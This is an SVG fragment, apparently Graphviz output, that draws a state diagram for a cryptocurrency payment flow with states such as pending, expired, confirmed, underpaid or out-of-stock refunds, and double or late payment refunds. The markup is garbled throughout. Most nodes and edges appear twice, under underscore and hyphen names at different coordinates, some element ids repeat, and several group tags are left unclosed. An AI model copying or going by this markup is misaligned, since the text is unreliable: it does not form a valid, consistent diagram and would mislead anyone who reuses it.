<text text-anchor="middle" x="202.4" y="-402.12" font-family="Arial" font-size="10.00">Payment detected in mempool</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M103.6,-265.22C111.4,-271.81 120.39,-279.13 128.9,-285.41 191.03,-331.22 267.06,-378.9 312.96,-406.83"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="311.08,-409.79 321.45,-411.98 314.71,-403.8 311.08,-409.79"/>
<text text-anchor="middle" x="202.4" y="-384.08" font-family="Arial" font-size="10.00">Payment detected in mempool</text>
</g>
<!-- expired -->
<g id="node6" class="node">
<title>expired</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M499.53,-289.91C499.53,-289.91 467.78,-289.91 467.78,-289.91 461.78,-289.91 455.78,-283.91 455.78,-277.91 455.78,-277.91 455.78,-265.91 455.78,-265.91 455.78,-259.91 461.78,-253.91 467.78,-253.91 467.78,-253.91 499.53,-253.91 499.53,-253.91 505.53,-253.91 511.53,-259.91 511.53,-265.91 511.53,-265.91 511.53,-277.91 511.53,-277.91 511.53,-283.91 505.53,-289.91 499.53,-289.91"/>
<text text-anchor="middle" x="483.65" y="-267.64" font-family="Arial" font-size="12.00" fill="#721c24">expired</text>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M525.78,-288.41C525.78,-288.41 494.03,-288.41 494.03,-288.41 488.03,-288.41 482.03,-282.41 482.03,-276.41 482.03,-276.41 482.03,-264.41 482.03,-264.41 482.03,-258.41 488.03,-252.41 494.03,-252.41 494.03,-252.41 525.78,-252.41 525.78,-252.41 531.78,-252.41 537.78,-258.41 537.78,-264.41 537.78,-264.41 537.78,-276.41 537.78,-276.41 537.78,-282.41 531.78,-288.41 525.78,-288.41"/>
<text text-anchor="middle" x="509.9" y="-266.13" font-family="Arial" font-size="12.00" fill="#721c24">expired</text>
</g>
<!-- pending&#45;&gt;expired -->
<g id="edge5" class="edge">
<title>pending&#45;&gt;expired</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.6,-251.53C182.5,-255.42 362.76,-265.33 443.04,-269.74"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="442.59,-273.22 452.76,-270.27 442.97,-266.23 442.59,-273.22"/>
<text text-anchor="middle" x="202.4" y="-262.94" font-family="Arial" font-size="10.00">Payment timeout (never received)</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.82,-248.08C186.79,-252.29 383.91,-263.38 468.93,-268.16"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="468.65,-271.65 478.84,-268.72 469.05,-264.66 468.65,-271.65"/>
<text text-anchor="middle" x="202.4" y="-259.37" font-family="Arial" font-size="10.00">Payment timeout (never received)</text>
</g>
<!-- cancelled -->
<g id="node7" class="node">
<title>cancelled</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M776.4,-245.91C776.4,-245.91 732.65,-245.91 732.65,-245.91 726.65,-245.91 720.65,-239.91 720.65,-233.91 720.65,-233.91 720.65,-221.91 720.65,-221.91 720.65,-215.91 726.65,-209.91 732.65,-209.91 732.65,-209.91 776.4,-209.91 776.4,-209.91 782.4,-209.91 788.4,-215.91 788.4,-221.91 788.4,-221.91 788.4,-233.91 788.4,-233.91 788.4,-239.91 782.4,-245.91 776.4,-245.91"/>
<text text-anchor="middle" x="754.52" y="-223.64" font-family="Arial" font-size="12.00" fill="#721c24">cancelled</text>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M806.15,-244.41C806.15,-244.41 762.4,-244.41 762.4,-244.41 756.4,-244.41 750.4,-238.41 750.4,-232.41 750.4,-232.41 750.4,-220.41 750.4,-220.41 750.4,-214.41 756.4,-208.41 762.4,-208.41 762.4,-208.41 806.15,-208.41 806.15,-208.41 812.15,-208.41 818.15,-214.41 818.15,-220.41 818.15,-220.41 818.15,-232.41 818.15,-232.41 818.15,-238.41 812.15,-244.41 806.15,-244.41"/>
<text text-anchor="middle" x="784.27" y="-222.13" font-family="Arial" font-size="12.00" fill="#721c24">cancelled</text>
</g>
<!-- pending&#45;&gt;cancelled -->
<g id="edge6" class="edge">
<title>pending&#45;&gt;cancelled</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.86,-248.94C218.08,-245.46 579.46,-233.62 707.83,-229.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="707.71,-232.91 717.59,-229.09 707.48,-225.92 707.71,-232.91"/>
<text text-anchor="middle" x="355.03" y="-245.24" font-family="Arial" font-size="10.00">User cancellation</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.83,-245.56C221.54,-242.43 604.67,-231.5 737.51,-227.71"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="737.4,-231.22 747.29,-227.43 737.2,-224.22 737.4,-231.22"/>
<text text-anchor="middle" x="355.03" y="-242.64" font-family="Arial" font-size="10.00">User cancellation</text>
</g>
<!-- doublepay_refunded_complete -->
<g id="node21" class="node">
<title>doublepay_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1336.03,-203.91C1336.03,-203.91 1178.28,-203.91 1178.28,-203.91 1172.28,-203.91 1166.28,-197.91 1166.28,-191.91 1166.28,-191.91 1166.28,-179.91 1166.28,-179.91 1166.28,-173.91 1172.28,-167.91 1178.28,-167.91 1178.28,-167.91 1336.03,-167.91 1336.03,-167.91 1342.03,-167.91 1348.03,-173.91 1348.03,-179.91 1348.03,-179.91 1348.03,-191.91 1348.03,-191.91 1348.03,-197.91 1342.03,-203.91 1336.03,-203.91"/>
<text text-anchor="middle" x="1257.15" y="-181.64" font-family="Arial" font-size="12.00" fill="#721c24">doublepay_refunded_complete</text>
</g>
<!-- doublepay_refunded&#45;&gt;doublepay_refunded_complete -->
<g id="edge30" class="edge">
<title>doublepay_refunded&#45;&gt;doublepay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M956.17,-171.03C1010.37,-173.72 1089.73,-177.65 1153.21,-180.8"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1152.85,-184.29 1163.01,-181.29 1153.19,-177.3 1152.85,-184.29"/>
<text text-anchor="middle" x="1060.9" y="-181.55" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- doublepay_not_refunded -->
<!-- doublepay&#45;refunded&#45;complete -->
<g id="node22" class="node">
<title>doublepay_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1319.9,-149.91C1319.9,-149.91 1194.4,-149.91 1194.4,-149.91 1188.4,-149.91 1182.4,-143.91 1182.4,-137.91 1182.4,-137.91 1182.4,-125.91 1182.4,-125.91 1182.4,-119.91 1188.4,-113.91 1194.4,-113.91 1194.4,-113.91 1319.9,-113.91 1319.9,-113.91 1325.9,-113.91 1331.9,-119.91 1331.9,-125.91 1331.9,-125.91 1331.9,-137.91 1331.9,-137.91 1331.9,-143.91 1325.9,-149.91 1319.9,-149.91"/>
<text text-anchor="middle" x="1257.15" y="-127.64" font-family="Arial" font-size="12.00" fill="#721c24">doublepay_not_refunded</text>
<title>doublepay&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1366.03,-203.41C1366.03,-203.41 1214.28,-203.41 1214.28,-203.41 1208.28,-203.41 1202.28,-197.41 1202.28,-191.41 1202.28,-191.41 1202.28,-179.41 1202.28,-179.41 1202.28,-173.41 1208.28,-167.41 1214.28,-167.41 1214.28,-167.41 1366.03,-167.41 1366.03,-167.41 1372.03,-167.41 1378.03,-173.41 1378.03,-179.41 1378.03,-179.41 1378.03,-191.41 1378.03,-191.41 1378.03,-197.41 1372.03,-203.41 1366.03,-203.41"/>
<text text-anchor="middle" x="1290.15" y="-181.13" font-family="Arial" font-size="12.00" fill="#721c24">doublepay&#45;refunded&#45;complete</text>
</g>
<!-- doublepay_refunded&#45;&gt;doublepay_not_refunded -->
<!-- doublepay&#45;refunded&#45;&gt;doublepay&#45;refunded&#45;complete -->
<g id="edge31" class="edge">
<title>doublepay_refunded&#45;&gt;doublepay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M956.3,-161.09C969.54,-159.68 983.43,-158.23 996.4,-156.91 1054.07,-151.06 1118.98,-144.81 1169.49,-140.02"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1169.79,-143.51 1179.41,-139.09 1169.13,-136.54 1169.79,-143.51"/>
<text text-anchor="middle" x="1060.9" y="-159.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
<title>doublepay&#45;refunded&#45;&gt;doublepay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M995.37,-168.04C1048.71,-171.19 1126.94,-175.82 1189.26,-179.5"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1189.04,-182.99 1199.23,-180.09 1189.46,-176.01 1189.04,-182.99"/>
<text text-anchor="middle" x="1098.4" y="-179.9" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- latepay_refunded_complete -->
<g id="node15" class="node">
<title>latepay_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1327.4,-95.91C1327.4,-95.91 1186.9,-95.91 1186.9,-95.91 1180.9,-95.91 1174.9,-89.91 1174.9,-83.91 1174.9,-83.91 1174.9,-71.91 1174.9,-71.91 1174.9,-65.91 1180.9,-59.91 1186.9,-59.91 1186.9,-59.91 1327.4,-59.91 1327.4,-59.91 1333.4,-59.91 1339.4,-65.91 1339.4,-71.91 1339.4,-71.91 1339.4,-83.91 1339.4,-83.91 1339.4,-89.91 1333.4,-95.91 1327.4,-95.91"/>
<text text-anchor="middle" x="1257.15" y="-73.64" font-family="Arial" font-size="12.00" fill="#721c24">latepay_refunded_complete</text>
<!-- doublepay&#45;not&#45;refunded -->
<g id="node23" class="node">
<title>doublepay&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1349.9,-149.41C1349.9,-149.41 1230.4,-149.41 1230.4,-149.41 1224.4,-149.41 1218.4,-143.41 1218.4,-137.41 1218.4,-137.41 1218.4,-125.41 1218.4,-125.41 1218.4,-119.41 1224.4,-113.41 1230.4,-113.41 1230.4,-113.41 1349.9,-113.41 1349.9,-113.41 1355.9,-113.41 1361.9,-119.41 1361.9,-125.41 1361.9,-125.41 1361.9,-137.41 1361.9,-137.41 1361.9,-143.41 1355.9,-149.41 1349.9,-149.41"/>
<text text-anchor="middle" x="1290.15" y="-127.13" font-family="Arial" font-size="12.00" fill="#721c24">doublepay&#45;not&#45;refunded</text>
</g>
<!-- latepay_refunded&#45;&gt;latepay_refunded_complete -->
<g id="edge18" class="edge">
<title>latepay_refunded&#45;&gt;latepay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M947.71,-77.91C1004.3,-77.91 1094.05,-77.91 1162.18,-77.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1161.93,-81.41 1171.93,-77.91 1161.93,-74.41 1161.93,-81.41"/>
<text text-anchor="middle" x="1060.9" y="-80.41" font-family="Arial" font-size="10.00">Refund confirmed</text>
<!-- doublepay&#45;refunded&#45;&gt;doublepay&#45;not&#45;refunded -->
<g id="edge32" class="edge">
<title>doublepay&#45;refunded&#45;&gt;doublepay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M995.5,-158.15C1008.2,-156.89 1021.48,-155.59 1033.9,-154.41 1091.19,-148.96 1155.74,-143.15 1205.6,-138.73"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1205.7,-142.23 1215.36,-137.86 1205.09,-135.26 1205.7,-142.23"/>
<text text-anchor="middle" x="1098.4" y="-156.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- latepay_not_refunded -->
<!-- latepay&#45;refunded&#45;complete -->
<g id="node16" class="node">
<title>latepay_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1311.28,-41.91C1311.28,-41.91 1203.03,-41.91 1203.03,-41.91 1197.03,-41.91 1191.03,-35.91 1191.03,-29.91 1191.03,-29.91 1191.03,-17.91 1191.03,-17.91 1191.03,-11.91 1197.03,-5.91 1203.03,-5.91 1203.03,-5.91 1311.28,-5.91 1311.28,-5.91 1317.28,-5.91 1323.28,-11.91 1323.28,-17.91 1323.28,-17.91 1323.28,-29.91 1323.28,-29.91 1323.28,-35.91 1317.28,-41.91 1311.28,-41.91"/>
<text text-anchor="middle" x="1257.15" y="-19.64" font-family="Arial" font-size="12.00" fill="#721c24">latepay_not_refunded</text>
<title>latepay&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1357.4,-95.41C1357.4,-95.41 1222.9,-95.41 1222.9,-95.41 1216.9,-95.41 1210.9,-89.41 1210.9,-83.41 1210.9,-83.41 1210.9,-71.41 1210.9,-71.41 1210.9,-65.41 1216.9,-59.41 1222.9,-59.41 1222.9,-59.41 1357.4,-59.41 1357.4,-59.41 1363.4,-59.41 1369.4,-65.41 1369.4,-71.41 1369.4,-71.41 1369.4,-83.41 1369.4,-83.41 1369.4,-89.41 1363.4,-95.41 1357.4,-95.41"/>
<text text-anchor="middle" x="1290.15" y="-73.13" font-family="Arial" font-size="12.00" fill="#721c24">latepay&#45;refunded&#45;complete</text>
</g>
<!-- latepay_refunded&#45;&gt;latepay_not_refunded -->
<!-- latepay&#45;refunded&#45;&gt;latepay&#45;refunded&#45;complete -->
<g id="edge19" class="edge">
<title>latepay_refunded&#45;&gt;latepay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M947.64,-69.39C963.37,-66.95 980.56,-64.3 996.4,-61.91 1057.42,-52.71 1126.55,-42.61 1178.15,-35.14"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1178.56,-38.62 1187.96,-33.72 1177.56,-31.69 1178.56,-38.62"/>
<text text-anchor="middle" x="1060.9" y="-64.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
<title>latepay&#45;refunded&#45;&gt;latepay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M986.7,-77.41C1042.29,-77.41 1130.86,-77.41 1197.82,-77.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1197.79,-80.91 1207.79,-77.41 1197.79,-73.91 1197.79,-80.91"/>
<text text-anchor="middle" x="1098.4" y="-79.91" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- latepay&#45;not&#45;refunded -->
<g id="node17" class="node">
<title>latepay&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1341.28,-41.41C1341.28,-41.41 1239.03,-41.41 1239.03,-41.41 1233.03,-41.41 1227.03,-35.41 1227.03,-29.41 1227.03,-29.41 1227.03,-17.41 1227.03,-17.41 1227.03,-11.41 1233.03,-5.41 1239.03,-5.41 1239.03,-5.41 1341.28,-5.41 1341.28,-5.41 1347.28,-5.41 1353.28,-11.41 1353.28,-17.41 1353.28,-17.41 1353.28,-29.41 1353.28,-29.41 1353.28,-35.41 1347.28,-41.41 1341.28,-41.41"/>
<text text-anchor="middle" x="1290.15" y="-19.13" font-family="Arial" font-size="12.00" fill="#721c24">latepay&#45;not&#45;refunded</text>
</g>
<!-- latepay&#45;refunded&#45;&gt;latepay&#45;not&#45;refunded -->
<g id="edge20" class="edge">
<title>latepay&#45;refunded&#45;&gt;latepay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M986.82,-68.83C1002.01,-66.4 1018.61,-63.77 1033.9,-61.41 1094.57,-52.04 1163.41,-41.81 1214.3,-34.33"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1214.55,-37.83 1223.94,-32.92 1213.53,-30.91 1214.55,-37.83"/>
<text text-anchor="middle" x="1098.4" y="-63.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed -->
<g id="node8" class="node">
<title>confirmed</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1083.15,-642.91C1083.15,-642.91 1038.65,-642.91 1038.65,-642.91 1032.65,-642.91 1026.65,-636.91 1026.65,-630.91 1026.65,-630.91 1026.65,-618.91 1026.65,-618.91 1026.65,-612.91 1032.65,-606.91 1038.65,-606.91 1038.65,-606.91 1083.15,-606.91 1083.15,-606.91 1089.15,-606.91 1095.15,-612.91 1095.15,-618.91 1095.15,-618.91 1095.15,-630.91 1095.15,-630.91 1095.15,-636.91 1089.15,-642.91 1083.15,-642.91"/>
<text text-anchor="middle" x="1060.9" y="-620.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed</text>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M683.4,-597.41C683.4,-597.41 638.9,-597.41 638.9,-597.41 632.9,-597.41 626.9,-591.41 626.9,-585.41 626.9,-585.41 626.9,-573.41 626.9,-573.41 626.9,-567.41 632.9,-561.41 638.9,-561.41 638.9,-561.41 683.4,-561.41 683.4,-561.41 689.4,-561.41 695.4,-567.41 695.4,-573.41 695.4,-573.41 695.4,-585.41 695.4,-585.41 695.4,-591.41 689.4,-597.41 683.4,-597.41"/>
<text text-anchor="middle" x="661.15" y="-575.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed</text>
</g>
<!-- received&#45;&gt;confirmed -->
<g id="edge7" class="edge">
<title>received&#45;&gt;confirmed</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M377.95,-480.8C392.93,-492.88 413.7,-508.07 434.15,-517.91 482.84,-541.33 498.3,-539.67 551.15,-550.91 719.82,-586.8 923.67,-610.67 1013.53,-620.22"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1013.12,-623.69 1023.43,-621.26 1013.85,-616.73 1013.12,-623.69"/>
<text text-anchor="middle" x="626.9" y="-581.47" font-family="Arial" font-size="10.00">Sufficient payment + confirmations</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M372.28,-450.33C387.01,-466.42 410.02,-489.12 434.15,-503.41 491.82,-537.55 566.94,-558.9 614.37,-569.99"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="613.36,-573.35 623.89,-572.15 614.91,-566.52 613.36,-573.35"/>
<text text-anchor="middle" x="509.9" y="-564.15" font-family="Arial" font-size="10.00">Sufficient payment + confirmations</text>
</g>
<!-- confirmed_overpay -->
<g id="node9" class="node">
<title>confirmed_overpay</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M673.9,-541.91C673.9,-541.91 579.9,-541.91 579.9,-541.91 573.9,-541.91 567.9,-535.91 567.9,-529.91 567.9,-529.91 567.9,-517.91 567.9,-517.91 567.9,-511.91 573.9,-505.91 579.9,-505.91 579.9,-505.91 673.9,-505.91 673.9,-505.91 679.9,-505.91 685.9,-511.91 685.9,-517.91 685.9,-517.91 685.9,-529.91 685.9,-529.91 685.9,-535.91 679.9,-541.91 673.9,-541.91"/>
<text text-anchor="middle" x="626.9" y="-519.64" font-family="Arial" font-size="12.00" fill="#004085">confirmed_overpay</text>
</g>
<!-- received&#45;&gt;confirmed_overpay -->
<g id="edge8" class="edge">
<title>received&#45;&gt;confirmed_overpay</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.72,-468.96C427.46,-478.32 500.6,-495.13 555.31,-507.7"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="554.3,-511.05 564.83,-509.88 555.86,-504.23 554.3,-511.05"/>
<text text-anchor="middle" x="483.65" y="-504.59" font-family="Arial" font-size="10.00">Overpayment detected</text>
</g>
<!-- underpaid_refunded -->
<!-- confirmed&#45;overpay -->
<g id="node10" class="node">
<title>underpaid_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M942.4,-479.91C942.4,-479.91 842.4,-479.91 842.4,-479.91 836.4,-479.91 830.4,-473.91 830.4,-467.91 830.4,-467.91 830.4,-455.91 830.4,-455.91 830.4,-449.91 836.4,-443.91 842.4,-443.91 842.4,-443.91 942.4,-443.91 942.4,-443.91 948.4,-443.91 954.4,-449.91 954.4,-455.91 954.4,-455.91 954.4,-467.91 954.4,-467.91 954.4,-473.91 948.4,-479.91 942.4,-479.91"/>
<text text-anchor="middle" x="892.4" y="-457.64" font-family="Arial" font-size="12.00" fill="#856404">underpaid_refunded</text>
<title>confirmed&#45;overpay</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M706.65,-526.41C706.65,-526.41 615.65,-526.41 615.65,-526.41 609.65,-526.41 603.65,-520.41 603.65,-514.41 603.65,-514.41 603.65,-502.41 603.65,-502.41 603.65,-496.41 609.65,-490.41 615.65,-490.41 615.65,-490.41 706.65,-490.41 706.65,-490.41 712.65,-490.41 718.65,-496.41 718.65,-502.41 718.65,-502.41 718.65,-514.41 718.65,-514.41 718.65,-520.41 712.65,-526.41 706.65,-526.41"/>
<text text-anchor="middle" x="661.15" y="-504.13" font-family="Arial" font-size="12.00" fill="#004085">confirmed&#45;overpay</text>
</g>
<!-- received&#45;&gt;underpaid_refunded -->
<g id="edge9" class="edge">
<title>received&#45;&gt;underpaid_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.73,-461.91C469.35,-461.91 698.15,-461.91 817.22,-461.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="817.17,-465.41 827.17,-461.91 817.17,-458.41 817.17,-465.41"/>
<text text-anchor="middle" x="626.9" y="-464.41" font-family="Arial" font-size="10.00">Underpayment detected</text>
<!-- received&#45;&gt;confirmed&#45;overpay -->
<g id="edge8" class="edge">
<title>received&#45;&gt;confirmed&#45;overpay</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.86,-439.21C434.48,-451.27 527.13,-474.73 591.26,-490.96"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="590.13,-494.29 600.69,-493.35 591.85,-487.5 590.13,-494.29"/>
<text text-anchor="middle" x="509.9" y="-490.26" font-family="Arial" font-size="10.00">Overpayment detected</text>
</g>
<!-- out_of_stock_refunded -->
<!-- underpaid&#45;refunded -->
<g id="node11" class="node">
<title>out_of_stock_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M949.15,-387.91C949.15,-387.91 835.65,-387.91 835.65,-387.91 829.65,-387.91 823.65,-381.91 823.65,-375.91 823.65,-375.91 823.65,-363.91 823.65,-363.91 823.65,-357.91 829.65,-351.91 835.65,-351.91 835.65,-351.91 949.15,-351.91 949.15,-351.91 955.15,-351.91 961.15,-357.91 961.15,-363.91 961.15,-363.91 961.15,-375.91 961.15,-375.91 961.15,-381.91 955.15,-387.91 949.15,-387.91"/>
<text text-anchor="middle" x="892.4" y="-365.64" font-family="Arial" font-size="12.00" fill="#856404">out_of_stock_refunded</text>
<title>underpaid&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M981.4,-449.41C981.4,-449.41 884.4,-449.41 884.4,-449.41 878.4,-449.41 872.4,-443.41 872.4,-437.41 872.4,-437.41 872.4,-425.41 872.4,-425.41 872.4,-419.41 878.4,-413.41 884.4,-413.41 884.4,-413.41 981.4,-413.41 981.4,-413.41 987.4,-413.41 993.4,-419.41 993.4,-425.41 993.4,-425.41 993.4,-437.41 993.4,-437.41 993.4,-443.41 987.4,-449.41 981.4,-449.41"/>
<text text-anchor="middle" x="932.9" y="-427.13" font-family="Arial" font-size="12.00" fill="#856404">underpaid&#45;refunded</text>
</g>
<!-- received&#45;&gt;out_of_stock_refunded -->
<!-- received&#45;&gt;underpaid&#45;refunded -->
<g id="edge9" class="edge">
<title>received&#45;&gt;underpaid&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.58,-431.41C474.91,-431.41 732.32,-431.41 859.32,-431.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="859.29,-434.91 869.29,-431.41 859.29,-427.91 859.29,-434.91"/>
<text text-anchor="middle" x="661.15" y="-433.91" font-family="Arial" font-size="10.00">Underpayment detected</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded -->
<g id="node12" class="node">
<title>out&#45;of&#45;stock&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M985.15,-387.41C985.15,-387.41 880.65,-387.41 880.65,-387.41 874.65,-387.41 868.65,-381.41 868.65,-375.41 868.65,-375.41 868.65,-363.41 868.65,-363.41 868.65,-357.41 874.65,-351.41 880.65,-351.41 880.65,-351.41 985.15,-351.41 985.15,-351.41 991.15,-351.41 997.15,-357.41 997.15,-363.41 997.15,-363.41 997.15,-375.41 997.15,-375.41 997.15,-381.41 991.15,-387.41 985.15,-387.41"/>
<text text-anchor="middle" x="932.9" y="-365.13" font-family="Arial" font-size="12.00" fill="#856404">out&#45;of&#45;stock&#45;refunded</text>
</g>
<!-- received&#45;&gt;out&#45;of&#45;stock&#45;refunded -->
<g id="edge10" class="edge">
<title>received&#45;&gt;out_of_stock_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.73,-456.63C467.93,-442.68 690.33,-404.46 810.99,-383.73"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="811.55,-387.18 820.81,-382.04 810.36,-380.29 811.55,-387.18"/>
<text text-anchor="middle" x="626.9" y="-430.55" font-family="Arial" font-size="10.00">Product unavailable</text>
<title>received&#45;&gt;out&#45;of&#45;stock&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.58,-428.12C474.09,-418.69 727.61,-391.4 855.79,-377.6"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="855.96,-381.1 865.53,-376.55 855.22,-374.14 855.96,-381.1"/>
<text text-anchor="middle" x="661.15" y="-407.03" font-family="Arial" font-size="10.00">Product unavailable</text>
</g>
<!-- terminated -->
<g id="node23" class="node">
<g id="node24" class="node">
<title>terminated</title>
<path fill="#e0e0e0" stroke="#333333" stroke-width="2" d="M1672.38,-313.43C1672.38,-313.43 1672.38,-318.4 1672.38,-318.4 1672.38,-320.88 1670.04,-324.21 1667.7,-325.06 1667.7,-325.06 1647.92,-332.22 1647.92,-332.22 1645.58,-333.07 1640.76,-333.91 1638.27,-333.91 1638.27,-333.91 1607.01,-333.91 1607.01,-333.91 1604.52,-333.91 1599.7,-333.07 1597.36,-332.22 1597.36,-332.22 1577.57,-325.06 1577.57,-325.06 1575.24,-324.21 1572.9,-320.88 1572.9,-318.4 1572.9,-318.4 1572.9,-313.43 1572.9,-313.43 1572.9,-310.94 1575.24,-307.61 1577.57,-306.76 1577.57,-306.76 1597.36,-299.6 1597.36,-299.6 1599.7,-298.76 1604.52,-297.91 1607.01,-297.91 1607.01,-297.91 1638.27,-297.91 1638.27,-297.91 1640.76,-297.91 1645.58,-298.76 1647.92,-299.6 1647.92,-299.6 1667.7,-306.76 1667.7,-306.76 1670.04,-307.61 1672.38,-310.94 1672.38,-313.43"/>
<path fill="none" stroke="#333333" stroke-width="2" d="M1676.38,-312.49C1676.38,-312.49 1676.38,-319.33 1676.38,-319.33 1676.38,-322.75 1673.16,-327.34 1669.94,-328.5 1669.94,-328.5 1650.38,-335.58 1650.38,-335.58 1647.16,-336.75 1640.52,-337.91 1637.1,-337.91 1637.1,-337.91 1608.18,-337.91 1608.18,-337.91 1604.76,-337.91 1598.12,-336.75 1594.9,-335.58 1594.9,-335.58 1575.33,-328.5 1575.33,-328.5 1572.12,-327.34 1568.9,-322.75 1568.9,-319.33 1568.9,-319.33 1568.9,-312.49 1568.9,-312.49 1568.9,-309.07 1572.12,-304.49 1575.33,-303.32 1575.33,-303.32 1594.9,-296.24 1594.9,-296.24 1598.12,-295.08 1604.76,-293.91 1608.18,-293.91 1608.18,-293.91 1637.1,-293.91 1637.1,-293.91 1640.52,-293.91 1647.16,-295.08 1650.38,-296.24 1650.38,-296.24 1669.94,-303.32 1669.94,-303.32 1673.16,-304.49 1676.38,-309.07 1676.38,-312.49"/>
<text text-anchor="middle" x="1622.64" y="-311.64" font-family="Arial" font-size="12.00" fill="#333333">terminated</text>
<path fill="#e0e0e0" stroke="#333333" stroke-width="2" d="M1700.88,-312.92C1700.88,-312.92 1700.88,-317.89 1700.88,-317.89 1700.88,-320.38 1698.54,-323.71 1696.2,-324.55 1696.2,-324.55 1676.42,-331.72 1676.42,-331.72 1674.08,-332.56 1669.26,-333.41 1666.77,-333.41 1666.77,-333.41 1635.51,-333.41 1635.51,-333.41 1633.02,-333.41 1628.2,-332.56 1625.86,-331.72 1625.86,-331.72 1606.07,-324.55 1606.07,-324.55 1603.74,-323.71 1601.4,-320.38 1601.4,-317.89 1601.4,-317.89 1601.4,-312.92 1601.4,-312.92 1601.4,-310.44 1603.74,-307.1 1606.07,-306.26 1606.07,-306.26 1625.86,-299.1 1625.86,-299.1 1628.2,-298.25 1633.02,-297.41 1635.51,-297.41 1635.51,-297.41 1666.77,-297.41 1666.77,-297.41 1669.26,-297.41 1674.08,-298.25 1676.42,-299.1 1676.42,-299.1 1696.2,-306.26 1696.2,-306.26 1698.54,-307.1 1700.88,-310.44 1700.88,-312.92"/>
